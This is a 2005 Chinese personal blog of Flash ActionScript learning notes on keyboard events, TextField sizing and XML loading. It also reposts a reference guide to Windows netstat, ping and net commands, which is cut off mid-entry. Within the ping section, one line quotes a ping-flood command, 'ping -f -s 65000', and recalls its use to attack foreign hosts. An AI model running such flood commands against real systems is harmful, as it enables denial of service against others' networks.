天空的心情

flash学习记录
 
txwgy @ 2005-07-03 15:37

  原来以为不能用这个blog了,没想到又可用了,原来是要通过邮箱验证.


 
txwgy @ 2005-06-27 17:36

响应键盘
响应键盘的方法作为AS中的一个重要组成部分,在如今已经越来越广泛的使用,尤其是在 FLASH游戏制作中,如果缺少了响应键盘的方法,那是不可能的,而响应键盘的方法主要的四种,分别是:

1、利用按钮进行检测
2、利用KEY对象
3、利用键盘侦听的方法
4、利用影片剪辑的keyUp和keyDown事件来实现响应键盘

只有熟练掌握了这些方法,然后加以变通的话,就会得到很多意想不到的效果,下面我就结合理论和自己的想法简要的介绍一下。

第一种响应键盘的方法:利用按钮进行检测来实现响应键盘

在按钮的on事件处理函数中不但可以对鼠标事件作出响应,而且可以对键盘事件作出响应。 如在按钮的动作面板中加入如下所示的代码,在敲击键盘上的X键时输出窗口中将提示:X is pressed
在按钮上加上:

on (keyPress "x") {
 trace("X is pressed");
}

但是要注意的是:检测键盘上的字母键时,字母都应为小写。如果要检测键盘中的特殊键, Flash中有一些专门的代码来表示它们,下面列出了一些常用的功能键的表示代码:

<Left> <Right> <Up> <Down> <Space <Home> <End> <Insert> <PageUp> <PageDown>
<Enter> <Delete> <Backspace> <Tab> <Escape>

如要检测键盘上的<Left>键,可以使用下面的ActionScript:
on (keyPress "<Left>") {
trace("Left is pressed");
}

另外,你可以在一个按钮中加入若干个on函数,也可以在一个on函数中结合多种事件,这使 您可以为按钮定义自己熟悉常用的快捷键,如下所示:
on (release, keyPress "<Left>") {
_root.myMC.prevFrame();
}
on (release, keyPress "<Right>") {
_root.myMC.nextFrame();
}

上面的第一个语句实现单击按钮或按键盘上的左方向键,控制影片剪辑myMC回退1帧,而上面的第二个语句实现单击按钮或按键盘上的右方向键,控制影片剪辑myMC前进1帧

第二种响应键盘的方法:利用Key对象来实现响应键盘的操作

利用按钮检测按键动作很有效,但是并不利于检测持续按下的键,所以不适合于制作某些通过键盘控制的游戏。
这时,您就需要用到Key对象。Key对象包含在动作面板的“对象”/“影片”目录下面,它由Flash内置的一系列方法、常量和函数构成。使用Key对象可以检测某个键是否被按下,如要检测左方向键是否被按下,可以使用如下ActionScript:

if (Key.isDown(Key.LEFT)) {
 trace("The left arrow is down");
}

函数Key.isDown返回一个布尔值,当该数中的参数对应的键被按下时返回true,否则返回false。常量Key.LEFT代表键盘上的左方向键。当左方向键被按下时,该函数返回true。
Key对象中的常量代表了键盘上相应的键,下面列出了一些基本的常量:
一些功能键的表示:

Key.BACKSPACE Key.ENTER Key.PGDN
Key.CAPSLOCK Key.ESCAPE Key.RIGHT
Key.CONTROL Key.HOME Key.SHIFT
Key.DELETEKEY Key.INSERT Key.SPACE
Key.DOWN Key.LEFT Key.TAB
Key.END Key.PGUP Key.UP

以上是键盘上的功能键,那么如何表示键盘上的字母键呢?
Key对象提供了一个函数Key.getCode来实现这一功能,如下所示:

if (Key.isDown(Key.getCode("x"))) {
 trace("X is pressed");
}

上面脚本的意思就是,利用Key.getCode函数来告诉系统你是否按下了x键,如果按下了x键以后,函数Key.isDown则会返回true,在输出窗口就会输出X is pressed。


第三种响应键盘的方法:利用键盘侦听的方法来实现响应键盘(个人习惯用这种方法)

假设在影片剪辑的onClipEvent(enterFrame)事件处理函数中检测按键动作,而影片剪辑所在的时间轴较长,或计算机运算速度较慢,就有可能出现这种情况:即当在键盘上按下某个键时还未来得及处理onClipEvent(enterFrame)函数,那么按键动作将被忽略,这样的话,很多你想要的效果就会无法实现了。
另外,还有一个需要解决的问题就是,在某些游戏(如射击)中,我们需要按一次键就执行一次动作(发射一发子弹),即使长时间按住某个键不放也只能算作一次按键,而Key对象并不能区别是长时间按住同一个键还是快速地多次按键。
所以如果要解决这个问题,就需要用到键盘侦听的方法。你可以使用 “侦听器(listener)”来侦听键盘上的按键动作。
要使用侦听器之前,首先需要创建它,你可以使用如下所示的命令来告诉计算机你需要侦听某个事件:

Key.addListener(_root);
Key.addListener命令将 主时间轴 或 某个影片剪辑 作为它的参数,当侦听的事件发生时,可以用这个参数指定的对象来响应该事件。
上面的代码指定主时间轴来响应该事件。要让主时间轴对该事件作出响应,还需要设置一个相应的事件处理函数,否则设置侦听器就没有什么意义了。
键盘侦听的事件处理函数有两个:onKeyUp和onKeyDown,如下所示:

Key.addListener(_root);
_root.onKeyUp = function() {
 trace(Key.getAscii());
};
//代码的意思是,当按下一个键并释放后,输出窗口将输出你按下的那个键的Ascii码

当然,你也可以使用影片剪辑作为侦听键盘的对象,只需要使用影片剪辑的路径代替_root作为Key.addListener命令的参数就可以了。
比如下面代码:

Key.addListener(_root.mc);
_root.mc.onKeyUp = function() {
 trace(Key.getAscii());
};

代码的意思是,当按下一个键并释放后,输出窗口将输出你按下的那个键的Ascii码,意思差不多,但是键盘侦听对象不同,一个是影片mc,一个是主时间轴。
以下常见形式/*
someListener = new Object();
someListener.onKeyDown = function () {
var x=Key.getCode();
var y=Key.getAscii();
};
Key.addListener(someListener);
另在某一按钮上加上
on (press){
somelistener.onKeyDown();
}
则按下按钮变量中将显示相应按下键的代码

*/
第四种响应键盘的方法:利用影片剪辑的keyUp和keyDown事件来实现响应键盘

最后一种方法很容易被忽视,但是也有一定的应用价值,最重要的是把概念弄清楚。
影片剪辑包含两个与键盘相关的事件keyUp和keyDown,使用它们也可以实现对按键事件的响应
例如下面的代码:

onClipEvent (keyDown) {
 trace(Key.getAscii());
}
//当按下键盘上的一个键的时候,输出窗口将输出按下的这个键的Ascii码值。

函数Key.getAscii表示返回与按键相对应的ASCII码,其中 ASCII码是一个整数,键盘上的每个字符对应一个ASCII码,如字母A对应的ASCII码为65,B对应的ASCII码为66,a对应的ASCII码为97, b对应的ASCII码为98,+ 对应的ASCII码为43等。需要注意的是:只有字符键才有ASCII码,键盘上的功能键是没有ASCII码的。
如果我想在输出窗口中输出与按键相对应的字符,那怎么办?
这时候,你可以使用String对象的fromCharCode函数将ASCII码转换成字符,如将上例的代码改成如下所示:

onClipEvent (keyDown) {
 trace(String.fromCharCode(Key.getAscii()));
};
//意思就是说,当按下键盘的一个键,输出按下的这个键相对应的字符,当然除了功能键。




 
txwgy @ 2005-06-27 17:32

[转载]创建个性化TextField动态创建文本字段是每个Flasher都习惯做的事情,我想很多Flasher都会像我一样,很多时候在动态创建文本字段时,都是createTextField,然后设定文本内容及TextFormat对象,文本字段(TextField)对象的宽度和高度设定得越大越好或者需要时调整一下_width、_height,从来没去考虑文本字段对象大小与显示的文本内容是否真正的合适和匹配。
下午翻阅文档时不经意从MM的帮助中看到了相关代码,作了一点修改,贴出来分享一下,了解的朋友可以温习一下,呵呵。

/*** 示例一* 此示例创建一个单行文本字段,其大小刚好足够使用指定格式显示一个文本字符串。
*/
var text_str:String = "Merry Christmas and Happy New Year to Everyone";// 创建一个TextFormat 对象
var txt_fmt:TextFormat= new TextFormat();// 为该TextFormat 对象指定格式属性
txt_fmt.font = "Arial";
txt_fmt.color = 0xFF0000;
txt_fmt.bold = true;// 获取该文本字符串使用指定格式时的度量信息
var metrics:Object = txt_fmt.getTextExtent(text_str);// 使用刚刚获取的度量信息创建一个新的TextField 对象
this.createTextField ("singleline_txt", 0, 10, 10, metrics.textFieldWidth, metrics.textFieldHeight);
singleline_txt.border = true;// 设定文本字段是否自动换行,默认为不自动换行//
singleline_txt.wordWrap = true;// 将相同的文本字符串和 TextFormat 对象分配给singleline_txt 对象
singleline_txt.text = text_str;
singleline_txt.setTextFormat(txt_fmt);/*** 示例二* 下面的示例创建一个100 像素宽的多行文本字段,其高度足够使用指定的格式显示一个字符串。*/// 创建一个TextFormat 对象
var txt_fmt:TextFormat= new TextFormat();// 为该TextFormat 对象指定格式属性
txt_fmt.font = "Arial";
txt_fmt.color = 0xFF0000;txt_fmt.bold = true;
txt_fmt.leading = 4;// 要显示的文本字符串
var textToDisplay_str:String = "Merry Christmas and Happy New Year to Everyone";// 获取该文本字符串使用指定格式时的度量信息
var metrics:Object = txt_fmt.getTextExtent(textToDisplay_str, 100);//使用刚刚获取的度量信息创建一个新的TextField对象
this.createTextField ("multiline_txt", 1, 50, 50-metrics.ascent, 100, metrics.textFieldHeight);
multiline_txt.wordWrap = true;multiline_txt.border = true;// 将相同的文本字符串和 TextFormat 对象分配给multiline_txt对象
multiline_txt.text = textToDisplay_str;multiline_txt.setTextFormat(txt_fmt);


 
txwgy @ 2005-06-27 12:31

getURL("file:///c|/windows/explorer.exe");
就是这样就可以,
_root.mc.onpress=function(){
geturl("http//ww.google.com",_blank);
}


 
txwgy @ 2005-06-27 12:15

聊天时为聊友写的
file:///e|\adsl\htm\china telecom\flash\yht2.htm
可打开本地文件
math.random()返回0到1
math.random()*10这就是0到10
random(10)返回0到9
至于int()就是把随机返回的数进行数据类型转换


 
txwgy @ 2005-06-27 12:02

在QQ中聊天时为别人写的
myListener = new Object();
myListener.onKeyUp = function () {
if(Key.isDown(Key.UP)) {
mysound.start();
var kk=Key.getcode();
trace(kk);
};
};
Key.addListener(myListener);
下面是别人写的
XML文件
<?xml version="1.0" encoding="utf-8"?>
<listbox>
<list name="3123" addres="123" />
<list name="ser" addres="213" />
<list name="ef" addres="34" />
<list name="3res" addres="fdsfe4" />
<list name="34fdg" addres="df3r" />
<list name="fds3232" addres="fsd321" />
<list name="fds33" addres="fs34d" />
<list name="f34fd" addres="43ds" />
<list name="fds34" addres="34dfsf" />
</l istbox>
[求助]如何制作向list组件那样列表
(下面的可能不对)

system.useCodepage = true;
xml = new XML();
xml.ignoreWhite = true;
xml.load("listbox.xml");
xml.onLoad = function(success) {
if (success) {
 xmlarray = new Array();
 xmlarray = xml.firstChild.childNodes;
 for (var i = 0; i<xmlarray.length; i++) {
  attachMovie("button", "button"+i, i);
  eval("button"+i)._x = 0;
  eval("button"+i)._y = 18*i;
  ///////////////////////////////////////////
  eval("button"+i).onRelease = function() {
   _root.textbox = xmlarray.attributes["name"];
  };
 }
} else {
 _root.textbox = "加载失败";
}
};

主要是
eval("button"+i).onRelease = function() {
   _root.textbox = xmlarray.attributes["name"];
  };
上的问题
------------xml文件里面-----------
<?xml version="1.0" encoding="gb2312"?>
<AS练习中……>
----------------------------------
*/
//如何使那段话显示在FLASH里面的
//变量名为"textbox"的文本中
system.useCodepage = true;
xml = new XML();
xml.load("diy.xml");
xml.onLoad = function(success) {
if (success) {
textbox = xml;
}
};

——————————————
list = new Array();
list[0] = "Melody.mp3";
list[1] = "Dreams Come True-SES.mp3";
var n = 0;
mp3player = new Sound();
mp3player.loadSound(list[n]);
mp3player.start();
mp3player.onSoundComplete = function() {
//n++;
//return n;
//如何循环到下一首歌
this.start();
};

以上有些直接来源于一些网友,没有测过是否对,可自参考


 
txwgy @ 2005-06-26 13:39

网络里的常用dos命令详细介绍

( 来源:hongzz


网络命令之:netstat命令

这是一个观察网络连接状态的实用工具。

它能检验IP的当前连接状态,在断定你的基本级通信正在进行后,就要验证系统上的服务。这个服务包括检查正在收听输入的通信量和/或验证你正在创建一个与远程站点的会话,它可以很轻松地做到这一点。网上也可以看到很多如X-netstat之类的工具,是WIN界面的,更加直观而已,并没有多什么功能,这个命令的具体用法如下:

NETSTAT [-a] [-e] [-n] [-s] [-p proto] [-r] [interval]

-A 显示任何关联的协议控制块的地址。主要用于调试
-a 显示所有套接字的状态。在一般情况下不显示与服务器进程相关联的套接字
-i 显示自动配置接口的状态。那些在系统初始引导后配置的接口状态不在输出之列
-m 打印网络存储器的使用情况
-n 打印实际地址,而不是对地址的解释或者显示主机,网络名之类的符号
-r 打印路由选择表
-f address -family对于给出名字的地址簇打印统计数字和控制块信息。到目前为止,唯一支持的地址簇是inet
-I interface 只打印给出名字的接口状态
-p protocol-name 只打印给出名字的协议的统计数字和协议控制块信息
-s 打印每个协议的统计数字
-t 在输出显示中用时间信息代替队列长度信息。

网络命令之:PING命令



这是TCP/IP协议中最有用的命令之一
它给另一个系统发送一系列的数据包,该系统本身又发回一个响应,这条实用程序对查找远程主机很有用,它返回的结果表示是否能到达主机,宿主机发送一个返回数据包需要多长时间。
Usage: ping [-t] [-a] [-n count] [-l size] [-f] [-i TTL] [-v TOS]
[-r count] [-s count] [[-j host-list] [-k host-list]]
[-w timeout] destination-list

Options:
-t Ping the specifed host until interrupted.(除非人为中止,否则一直ping下去)
-a Resolve addresses to hostnames.(把IP转为主机名)
-n count Number of echo requests to send.(响应请求的数量)
-l size Send buffer size.(封包的大小)
-f Set Don't Fragment flag in packet.(信息包中无碎片)
-i TTL Time To Live.(时间)
-v TOS Type Of Service.(服务类型)
-r count Record route for count hops.
-s count Timestamp for count hops.
-j host-list Loose source route along host-list.
-k host-list Strict source route along host-list.(较严格的……唉,怎么译好……算了,放着吧)
-w timeout Timeout in milliseconds to wait for each reply.(timeout的时间)
比如大家可能都知道的一个命令 # ping -f -s 65000 ***.***.***.***或者前阶段大家所谓ping死霉国佬时所用的命令(当然这样只会造成我方自己的网络阻塞)。
其实这个命令主要是用来看对方应答的速度,如果怎么ping 得到的结果都是request time out。那恐怕你根本就不用你去找这台主机了,它不在你的射程之内。


网络命令之:net命令

转自INTERNET

许多 Windows NT 网络命令以 net 开始。这些 net 命令有一些公共属性:
通过键入 net /? 可查阅所有可用的 net 命令。
通过键入 net help 命令可在命令行中获得 net 命令的语法帮助。例如,要得到 net acco
unts 命令的帮助,请键入 net help accounts。
所有 net 命令接受选项 / yes 和 /no(可缩写为 / y 和 /n )。/ y 对命令产生的任何交
互提示自动回答“是”,/n 回答“否”。例如,net stop server 通常提示确认是否根据服
务器服务结束所有服务,net stop server /y 自动回答“是”并关闭服务器服务。

Net Accounts

更新用户帐号数据库、更改密码及所有帐号的登录要求。必须要在更改帐号参数的计算机上
运行网络登录服务。
net accounts [/forcelogoff:{minutes | no}] [/minpwlen:length] [/maxpwage:{days |
unlimited}] [/minpwage:days] [/uniquepw:number] [/domain]
net accounts [/sync] [/domain]
参数

键入不带参数的 net accounts,将显示当前密码设置、登录时限及域信息。
/forcelogoff:{minutes | no}
设置当用户帐号或有效登录时间过期时,结束用户和服务器会话前的等待时间。no 选项禁止
强行注销。该参数的默认设置为 no。
指定 /forcelogoff:minutes 之后,Windows NT 在其强制用户退出网络 minutes 分钟之前
,将给用户发出警报。如果还有打开的文件,Windows NT 将警告用户。如果 minutes 小于
两分钟,Windows NT 警告用户立即从网络注销。
/minpwlen:length
设置用户帐号密码的最少字符数。允许范围是 0-14,默认值为 6。
/maxpwage:{days | unlimited}
设置用户帐号密码有效的最大天数。unlimited 不设置最大天数。/maxpwage 选项的天数必
须大于 /minpwage。允许范围是 1-49,710 天 (unlimited)。默认值为 90 天。
/minpwage:days
设置用户必须保持原密码的最小天数。 0 值不设置最小时间。允许范围是 0-49,710 天,默
认值为 0 天。
/uniquepw:number
要求用户更改密码时,必须在经过 number 次后,才能重复使用与之相同的密码。允许范围
是 0-8。默认值为 5。
/domain
在当前域的主域控制器上执行该操作。否则只在本地计算机执行操作。
该参数仅用于 Windows NT Server 域中的 Windows NT Workstation 计算机,Windows NT
Server 计算机默认为在主域控制器执行操作。
/sync
当用于主域控制器时,该命令使域中所有备份域控制器同步;当用于备份域控制器时,该命
令仅使该备份域控制器与主域控制器同步。该命令仅适用于 Windows NT Server 域成员的计
算机。

Net Computer

从域数据库中添加或删除计算机。该命令仅在运行 Windows NT Server 的计算机上可用。
net computer \computername {/add | /del}
参数
\computername
指定要添加到域或从域中删除的计算机。
/add
将指定计算机添加到域。
/del
将指定计算机从域中删除。

Net Config

显示当前运行的可配置服务,或显示并更改某项服务的设置。
net config [service [options]
参数

键入不带参数的 net config 将显示可配置服务的列表。
service
通过 net config 命令进行配置的服务(server 或 workstation)。
options
服务的特定选项。完整语法请参阅 net config server 或 net config workstation。

Net Config Server

运行服务时显示或更改服务器的服务设置。
net config server [/autodisconnect:time] [/srvcomment:"text "] [/hidden:{yes | n
o}]
参数

键入不带参数的 net config server,将显示服务器服务的当前配置。
/autodisconnect:time
设置断开前用户会话闲置的最大时间值。可以指定 -1,表示永不断开连接。允许范围是 -1
-65535 分钟,默认值是 15 分钟。
/srvcomment:"text "
为服务器添加注释,可以通过 net view 命令在屏幕上显示所加注释。注释最多可达 48 个
字符,文字要用引号引住。
/hidden:{yes | no}
指定服务器的计算机名是否出现在服务器列表中。请注意隐含某个服务器并不改变该服务器
的权限。默认为 no。

Net Config Workstation

服务运行时,显示或更改工作站各项服务的设置。
net config workstation [/charcount:bytes] [/chartime:msec] [/charwait:sec]
参数

键入不带参数的 net config workstation 将显示本地计算机的当前配置。
/charcount:bytes
指定 Windows NT 在将数据发送到通讯设备之前收集的数据量。如果同时设置 /chartime:m
sec 参数,Windows NT 按首先满足条件的选项运行。允许范围是 0-65535 字节,默认值是
16 字节。
/chartime:msec
指定 Windows NT 在将数据发送到通讯设备之前收集数据的时间。如果同时设置 /charcoun
t:bytes 参数,Windows NT 按首先满足条件的选项运行。允许范围是 0-65535000 毫秒,默
认值是 250 毫秒。
/charwait:sec
设置 Windows NT 等待通讯设备变为可用的时间。允许的范围是 0-65535 秒,默认值是 36
00 秒。

Net Continue

重新激活挂起的服务。
net continue service
参数
service
能够继续运行的服务,包括: file server for macintosh(该服务仅限于 Windows NT Se
rver), ftp publishing service, lpdsvc, net logon, network dde,network dde dsdm
,nt lm security support provider,remoteboot(该服务仅限于 Windows NT Server),
remote access server, schedule,server,simple tcp/ip services 及 workstation 。


Net File

显示某服务器上所有打开的共享文件名及锁定文件数。该命令也可以关闭个别文件并取消文
件锁定。
net file [id [/close]
参数

键入不带参数的 net file 可获得服务器上打开文件的列表。
id
文件标识号。
/close
关闭打开的文件并释放锁定记录。请从共享文件的服务器中键入该命令。

Net Group

在 Windows NT Server 域中添加、显示或更改全局组。该命令仅在 Windows NT Server 域
中可用。
net group [groupname [/comment:"text "] [/domain]
net group groupname {/add [/comment:"text "] | /delete} [/domain]
net group groupname username [ ...] {/add | /delete} [/domain]
参数

键入不带参数的 net group 可以显示服务器名称及服务器的组名称。
groupname
要添加、扩展或删除的组。仅提供某个组名便可查看组中的用户列表。
/comment:"text "
为新建组或现有组添加注释。注释最多可以是 48 个字符,并用引号将注释文字引住。
/domain
在当前域的主域控制器中执行该操作,否则在本地计算机上执行操作。
该参数仅用于作为 Windows NT Server 域成员的 Windows NT Workstation 计算机。Windo
ws NT Server 计算机默认为在主域控制器中操作。
username[ ...]
列表显示要添加到组或从组中删除的一个或多个用户。使用空格分隔多个用户名称项。
/add
添加组或在组中添加用户名。必须使用该命令为添加到组中的用户建立帐号。
/delete
删除组或从组中删除用户名。

Net Help

提供网络命令列表及帮助主题,或提供指定命令或主题的帮助。可用网络命令列于 N 下面的
“命令参考”中“命令”窗口内。
net help [command]
net command {/help | /?}
参数

键入不带参数的 net help 显示能够获得帮助的命令列表和帮助主题。
command
需要其帮助的命令,不要将 net 作为 command 的一部分。
/help
提供显示帮助文本方式选择。
/?
显示命令的正确语法。

Net Helpmsg

提供 Windows NT 错误信息的帮助。
net helpmsg message#
参数
message#
需要其帮助的 Windows NT 消息的四位代码。

Net Localgroup

添加、显示或更改本地组。
net localgroup [groupname [/comment:"text "] [/domain]
net localgroup groupname {/add [/comment:"text "] | /delete} [/domain]
net localgroup groupname name [ ...] {/add | /delete} [/domain]
参数

键入不带参数的 net localgroup 将显示服务器名称和计算机的本地组名称。
groupname
要添加、扩充或删除的本地组名称。只提供 groupname 即可查看用户列表或本地组中的全局
组。
/comment: "text "
为新建或现有组添加注释。注释文字的最大长度是 48 个字符,并用引号引住。
/domain
在当前域的主域控制器中执行操作,否则仅在本地计算机上执行操作。
该参数仅应用于 Windows NT Server 域中的 Windows NT Workstation 计算机。Windows N
T Server 计算机默认为在主域控制器中操作。
name [ ...]
列出要添加到本地组或从本地组中删除的一个或多个用户名或组名,多个用户名或组名之间
以空格分隔。可以是本地用户、其他域用户或全局组,但不能是其他本地组。如果是其他域
的用户,要在用户名前加域名(例如,SALESRALPHR)。
/add
将全局组名或用户名添加到本地组中。在使用该命令将用户或全局组添加到本地组之前,必
须为其建立帐号。
/delete
从本地组中删除组名或用户名。

Net Name

添加或删除消息名(有时也称别名),或显示计算机接收消息的名称列表。要使用 net nam
e 命令,计算机中必须运行信使服务。
net name [name [/add | /delete]
参数

键入不带参数的 net name 将列出当前使用的名称。
name
指定接收消息的名称。名称最多为 15 个字符。
/add
将名称添加到计算机中。 /add 是可选项,键入 net name name 与键入 net name name /a
dd 相同。
/delete
从计算机中删除名称。

Net Pause

暂停正在运行的服务。
net pause service
参数
service
指下列服务: file server for macintosh(仅限于 Windows NT Server)、ftp publishi
ng service、lpdsvc、net logon、network dde、network dde dsdm、nt lm security sup
port provider、remoteboot(仅限于 Windows NT Server)、remote access server、sch
edule、server、simple tcp/ip services 或 workstation 。

Net Print

显示或控制打印作业及打印队列。
net print \computername sharename
net print [\computername ] job# [/hold | /release | /delete]
参数
computername
共享打印机队列的计算机名。
sharename
打印队列名称。当包含 computername 与 sharename 时,使用反斜杠 () 将它们分开。
job#
在打印机队列中分配给打印作业的标识号。有一个或多个打印机队列的计算机为每个打印作
业分配唯一标识号。如果某个作业号用于共享打印机队列中,则不能指定给其他作业,也不
能分配给其他打印机队列中的作业。
/hold
使用 job# 时,在打印机队列中使打印作业等待。打印作业停留在打印机队列中,并且其他
打印作业只能等到释放该作业之后才能进入。
/release
释放保留的打印作业。
/delete
从打印机队列中删除打印作业。

Net Send

向网络的其他用户、计算机或通信名发送消息。要接收消息必须运行信使服务。
net send {name | * | /domain[:name] | /users} message
参数
name
要接收发送消息的用户名、计算机名或通信名。如果计算机名包含空字符,则要将其用引号
(" ") 引住。
*
将消息发送到组中所有名称。
/domain[:name]
将消息发送到计算机域中的所有名称。如果指定 name,则消息将发送到指定域或组中的所有
名称。
/users
将消息发送到与服务器连接的所有用户。
message
作为消息发送的文本。

Net Session

列出或断开本地计算机和与之连接的客户端的会话。
net session [\computername] [/delete]
参数

键入不带参数的 net session 可以显示所有与本地计算机的会话的信息。
\computername
标识要列出或断开会话的计算机。
/delete
结束与 \computername 计算机会话并关闭本次会话期间计算机的所有打开文件。如果省略
\computername 参数,将取消与本地计算机的所有会话。

Net Share

创建、删除或显示共享资源。
net share sharename
net share sharename=drive:path [/users:number | /unlimited] [/remark:"text"]
net share sharename [/users:number | unlimited] [/remark:"text"]
net share {sharename | drive:path} /delete
参数

键入不带参数的 net share 将显示本地计算机上所有共享资源的信息。
sharename
是共享资源的网络名称。键入带 sharename 的 net share 命令,只显示该共享信息。
drive:path
指定共享目录的绝对路径。
/users:number
设置可同时访问共享资源的最大用户数。
/unlimited
不限制同时访问共享资源的用户数。
/remark:"text "
添加关于资源的注释,注释文字用引号引住。
/delete
停止共享资源。

Net Start

启动服务,或显示已启动服务的列表。如果服务名是两个或两个以上的词,如 Net Logon 或
Computer Browser,则必须用引号 (") 引住。.
net start [service]
参数

键入不带参数的 net start 则显示运行服务的列表。
service
包括下列服务: alerter、client service for netware、clipbook server、computer br
owser、dhcp client 、directory replicator 、eventlog 、ftp publishing service 、
lpdsvc、messenger 、net logon 、network dde 、network dde dsdm 、network monitor
ing agent 、nt lm security support provider 、ole 、remote access connection man
ager 、remote access isnsap service 、remote access server 、remote procedure ca
ll (rpc) locator 、remote procedure call (rpc) service 、schedule 、server 、sim
ple tcp/ip services 、snmp、spooler 、tcp/ip netbios helper 、ups 及 workstation

下列服务仅在 Windows NT Server 下可用:file server for macintosh、gateway servic
e for netware、microsoft dhcp server、print server for macintosh、remoteboot、wi
ndows internet name service 。

Net Statistics

显示本地工作站或服务器服务的统计记录。
net statistics [workstation | server]
参数

键入不带参数的 net statistics 将列出其统计信息可用的运行服务。
workstation
显示本地工作站服务的统计信息。
server
显示本地服务器服务的统计信息。

Net Stop

停止 Windows NT 网络服务。
net stop service
参数
service
包括下列服务: alerter(警报)、client service for netware(Netware 客户端服务)
、clipbook server(剪贴簿服务器)、computer browser(计算机浏览器)、directory r
eplicator(目录复制器)、ftp publishing service (ftp )(ftp 发行服务)、lpdsvc、
messenger(信使)、net logon(网络登录)、network dde(网络 dde)、network dde d
sdm(网络 dde dsdm)、network monitor agent(网络监控代理)、nt lm security supp
ort provider(NT LM 安全性支持提供)、ole(对象链接与嵌入)、remote access conne
ction manager(远程访问连接管理器)、remote access isnsap service(远程访问 isns
ap 服务)、remote access server(远程访问服务器)、remote procedure call (rpc) l
ocator(远程过程调用定位器)、remote procedure call (rpc) service(远程过程调用服
务)、schedule(调度)、server(服务器)、simple tcp/ip services(简单 TCP/IP 服
务)、snmp、spooler(后台打印程序)、tcp/ip netbios helper(TCP/IP NETBIOS 辅助工
具)、ups 及 workstation(工作站)。
下列服务仅在 Windows NT Server 中可用: file server for macintosh、gateway servi
ce for netware、microsoft dhcp server、print server for macintosh、remoteboot、w
indows internet name service。

Net Time

使计算机的时钟与另一台计算机或域的时间同步。不带 /set 参数使用时,将显示另一台计
算机或域的时间。
net time [\computername | /domain[:name] [/set]
参数
\computername
要检查或同步的服务器名。
/domain[:name]
指定要与其时间同步的域。
/set
使本计算机时钟与指定计算机或域的时钟同步。

Net Use

连接计算机或断开计算机与共享资源的连接,或显示计算机的连接信息。该命令也控制永久
网络连接。
net use [devicename | *] [\computernamesharename[volume] [password | *] [/user
domainname]username] [/delete] | [/persistent:{yes | no]}
net use devicename [/home[password | *] [/delete:{yes | no}]
net use [/persistent:{yes | no}]
参数

键入不带参数的 net use 将列出网络连接。
devicename
指定要连接到的资源名称或要断开的设备名称。有两类设备名:磁盘驱动器(D: 到 Z:)和
打印机(LPT1: 到 LPT3)。若键入星号而不是指定设备名将分配下一个可用设备名。
\computernamesharename
服务器及共享资源的名称。如果计算机名包含空白字符,要用引号 (" ") 将双反斜线及计算
机名引住。计算机名长度可以是 1-15 个字符。
volume
指定服务器上的 NetWare 卷。要连接到 NetWare 服务器,必须安装并运行 NetWare 客户机
服务 (Windows NT Workstation) 或 NetWare 网关服务 (Windows NT Server)。
password
访问共享资源的密码。
*
提示键入密码。在密码提示行中键入密码时,将不显示该密码。
/user
指定进行连接的另外一个用户。
domainname
指定另一个域。例如 net use d: \servershare /user:adminmariel 连接用户 mariel,如
同从 admin 域连接一样。如果省略域,将使用当前登录域。
username
指定登录的用户名。
/home
将用户连接到其宿主目录。
/delete
取消指定网络连接。如果用户以星号指定连接,则取消所有网络连接。
/persistent
控制永久网络连接的使用。默认为上次使用的设置。无设备的连接不是永久的。
yes
保存建立的所有连接,并在下次登录时还原。
no
不保存建立的连接和继发连接,并在下次登录时还原现有连接。使用 /delete 开关项取消永
久连接。

Net User

添加或更改用户帐号或显示用户帐号信息。
net user [username [password | *] [options] [/domain]
net user username {password | *} /add [options] [/domain]
net user username [/delete] [/domain]
参数

键入不带参数的 net user 将查看计算机上的用户帐号列表。
username
添加、删除、更改或查看用户帐号名。用户帐号名最多可以有 20 个字符。
password
为用户帐号分配或更改密码。密码必须满足在 net accounts 命令 /minpwlen 选项中设置的
最小参数。最多是 14 个字符。
*
提示输入密码。在密码提示行中键入密码时,将不显示该密码。
/domain
在计算机主域的主域控制器中执行操作。
该参数仅在 Windows NT Server 域成员的 Windows NT Workstation 计算机上可用。默认情
况下,Windows NT Server 计算机在主域控制器中执行操作。
注意:在计算机主域的主域控制器发生该动作。它可能不是登录域。
/add
将用户帐号添加到用户帐号数据库。
/delete
从用户帐号数据库中删除用户帐号。
选项如下所示:
/active:{no | yes}
启用或禁止用户帐号。如果不激活用户帐号,用户就不能访问计算机上的资源。默认值是 y
es (激活)。
/comment:"text"
提供用户帐号的注释。该注释最多可以有 48 个字符,文字用引号引住。
/countrycode:nnn
使用操作系统的国家代码以便为用户帮助和错误信息文件提供指定语言文件。0 值表示默认
国家代码。
/expires:{date | never}
如果设置 date,将导致用户帐号过期,never 不对用户帐号设置时间限制。过期日期根据
/countrycode 值可以是下列格式: mm/dd/yy、dd/mm/yy 或 mmm, dd, yy。注意帐号在指定
日期开始时过期。月份可以是数字、全名或三个字母的简拼。年可以是两位或四位数,使用
逗号或斜线(不要用空格) 区分日期的各部分。如果省略 yy ,则使用该日期下一次到来的
年份(根据计算机的时钟)。例如如果在 1994 年 1 月 10 日到 1995 年 1 月 8 日之间输
入下列日期项,那它们相同:jan,9
1/9/95
january,9,1995
1/9
/fullname:"name"
指定用户全名而不是用户名。用引号将名字引住。
/homedir:path
设置用户宿主目录的路径。该路径必须存在。
/homedirreq:{yes | no}
设置是否需要宿主目录。
/passwordchg:{yes | no}
指定用户是否能改变自己的密码。默认值是 yes。
/passwordreq:{yes | no}
指定用户帐号是否需要密码,默认值是 yes。
/profilepathpath]
设置用户登录配置文件的路径。该路径名指向注册表配置文件。
/scriptpath:path
为用户登录脚本设置路径。Path 不能是绝对路径;
path 是相对于 %systemroot%SYSTEM32REPLIMPORTSCRIPTS 的相对路径:。
/times:{times | all}
指定允许用户使用计算机的时间。times 值表示为 day[-day][, day[-day] , time[-time
][, time[-time], 增量限制为一小时。Days 可以是全名或简写(M、T、W、Th、F、Sa、S
u)。Hours 可以是 12 小时制或 24 小时制。对于 12 小时值,使用 AM、PM 或 A.M、P.M
。all 表示用户总可以登录。空值表示用户永远不能登录。用逗号分隔日期和时间,分隔时
间和日期的单位用分号(例如 M,4AM-5PM; T,1PM-3PM)。指定 /times 时不要使用空格。
/usercomment:"text "
让管理员添加或更改帐号的“用户注释”。用引号引住文字。
/workstations:{computername[,...] | *}
列出最多八个用户可以登录到网络的工作站。用逗号分隔列表中的多个项。如果 /workstat
ions 没有列表,或如果列表是星号“*”,则用户可以从任何一台计算机登录。

Net View

显示域列表、计算机列表或指定计算机的共享资源列表。
net view [\computername | /domain[:domainname]
net view /network:nw [\computername]
参数

键入不带参数的 net view 将显示当前域的计算机列表。
\computername
